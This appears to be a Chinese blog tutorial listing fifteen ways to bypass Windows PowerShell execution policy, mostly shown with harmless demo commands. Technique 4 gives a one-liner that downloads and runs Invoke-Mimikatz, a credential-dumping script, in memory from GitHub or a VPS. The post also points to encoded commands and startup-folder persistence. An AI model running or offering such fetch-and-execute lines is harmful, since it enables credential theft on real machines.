繞過PowerShell執行策略方法

hu1ge(micr067)發表於2020-06-20

前言:

預設情況下,PowerShell配置為阻止Windows系統上執行PowerShell指令碼。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

 

什麼是PowerShell執行策略?

PowerShell execution policy 是用來決定哪些型別的PowerShell指令碼可以在系統中執行。預設情況下,它是“Restricted”(限制)的。然而,這個設定從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

 

為什麼我們要繞過執行政策?

因為人們希望使用指令碼實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

Windows原生支援
能夠呼叫Windows API
能夠執行命令而無需寫入磁碟(可直接載入至記憶體,無檔案落地)
能夠避免被反病毒工具檢測
大多數應用程式白名單解決方案已將其標記為“受信任”
一種用於編寫許多開源Pentest工具包的媒介

 

如何檢視執行策略

在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設定可能設定為“Restricted”(限制),如下圖所示:

Get-ExecutionPolicy

 

 

同樣值得注意的是execution policy可以在系統中設定不同的級別。要檢視他們使用下面的命令列表。更多資訊可以點選這裡檢視微軟的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize

 

 

我們先將powershell執行策略設定為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

Set-ExecutionPolicy Restricted

 

 

繞過PowerShell執行策略

1、直接在Interactive PowerShell控制檯中輸入powershell程式碼
複製並貼上你的PowerShell腳到一個互動式控制檯,如下圖所示。但是,請記住,你將受到當前使用者許可權限制。這是最基本的例子,當你有一個互動控制檯時,可以方便快速地執行指令碼。此外,這種技術不會更改配置或需要寫入磁碟。

Write-Host "It's run!";

 

 

2、echo指令碼並將其通過管道傳遞到PowerShell
簡單的ECHO指令碼到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁碟。

Echo Write-Host "It's run!" | PowerShell.exe -noprofile -

 

 

3、從檔案讀取指令碼並通過管道傳輸到PowerShell
使用Windows的"type"命令或PowerShell的"Get-Content"命令來從磁碟讀取你的指令碼並輸入到標準的PowerShell中,這種技術不會導致配置檔案的更改,但是需要寫入磁碟。然而,如果你想試圖避免寫到磁碟,你可以從網路上遠端讀取你的指令碼。

例1:Get-Content Powershell命令

Get-Content .\demo.ps1 | PowerShell.exe -noprofile -

 

 

例2:Type 命令

type .\demo.ps1 | PowerShell.exe -noprofile -

 

 

4、從遠端下載指令碼並通過IEX執行
這種技術可以用來從網上下載一個PowerShell指令碼並執行它無需寫入磁碟。它也不會導致任何配置更改。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')"

如無法使用github下載可換vps:

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://182.xxx.xxx.156:10001/demo.ps1')"

 

 

5、使用使用command命令
這種技術和通過複製和貼上來執行一個指令碼是非常相似的,但它可以做沒有互動式控制檯。這是很好的方式適合執行簡單的指令碼,但更復雜的指令碼通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁碟。

例1:完整的命令

Powershell -command "Write-Host "Its run!"";

 

 

示例2:簡短命令(-c)

Powershell -c "Write-Host "It’s run!'"

可能還值得注意的是,您可以將這些型別的PowerShell命令放入批處理檔案中,並將它們放入自動執行的位置(如所有使用者的啟動資料夾),以在許可權提升期間提供幫助。

 

 

6、使用EncodeCommand命令
這和使用"Command"命令非常像,但它為所有的指令碼提供了一個Unicode / Base64編碼串。通過這種方式加密你的指令碼可以幫你繞過所有通過"Command"執行時會遇到的錯誤。這種技術不會導致配置檔案的更改或要求寫入磁碟。

例1: 完整的命令

$command = "Write-Host 'Its run!'"

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

$encodedCommand

powershell.exe -EncodedCommand $encodedCommand

 

 

示例2:通過簡短的命令使用編碼字串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

 

 

7、使用Invoke-Command命令
這是一個典型的通過互動式PowerShell控制檯執行的方法。但最主要的是當PowerShell遠端處理開啟時我們可以用它來對遠端系統執行命令。這種技術不會導致配置更改或要求寫入磁碟。

Invoke-command -scriptblock {Write-Host "Its run!"}

 

 

8、下面的命令還可以用來抓取從遠端計算機的execution policy並將其應用到本地計算機。

Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

這種方式經測試不可行。

域環境下:

 

工作組下:

 

 

9、使用Invoke-Expression命令
這是另一個典型的通過互動式PowerShell控制檯執行的方法。這種技術不會導致配置更改或要求寫入磁碟。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

例1:使用Get-Content的完整命令

Get-Content .\demo.ps1 | Invoke-Expression

 

 

示例2:使用Get-Content的簡短命令

GC .\demo.ps1 | iex

 

 

10、使用“Bypass”繞過Execution Policy
當你通過指令碼檔案執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候"沒有任何東西被阻止,沒有任何警告或提示"。這種技術不會導致配置更改或要求寫入磁碟。

PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

 

 

11、使用“Unrestricted”標記Execution Policy
這類似於"Bypass"標記。當你使用這個標記的時候,它會"載入所有的配置檔案並執行所有的指令碼。如果你執行從網上下載的一個未被簽名的指令碼,它會提示你需要許可權",這種技術不會導致配置的更改或要求寫入磁碟。

PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

 

 

12、使用“Remote-Signed”標記Execution Policy
要想繞過執行限制,需要按照如下教程操作對指令碼進行數字簽名。

詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

直接使用Remote-signed標記指令碼無法執行的

PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

 

 

13、通過交換AuthorizationManager禁用ExecutionPolicy
下面的函式可以通過一個互動式的PowerShell來執行。一旦函式被呼叫"AuthorizationManager"就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}

Disable-ExecutionPolicy

.\demo.ps1

 

 

13、把ExcutionPolicy設定成Process Scope
執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設定為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁碟。

Set-ExecutionPolicy Bypass -Scope Process

 

 

14、通過命令設定ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改登錄檔將當前使用者環境的設定應用到當前使用者的環境中。此外,它不會導致在配置更改或需要寫入到磁碟。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

 

 

15、通過登錄檔設定ExcutionPolicy為CurrentUser Scope
在這個例子中,展示瞭如何通過修改登錄檔項來改變當前使用者的環境的執行策略。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

 

 

總結總結

使用的execution policy可以幫助我們繞過powershell預設的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限制作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

 

相關文章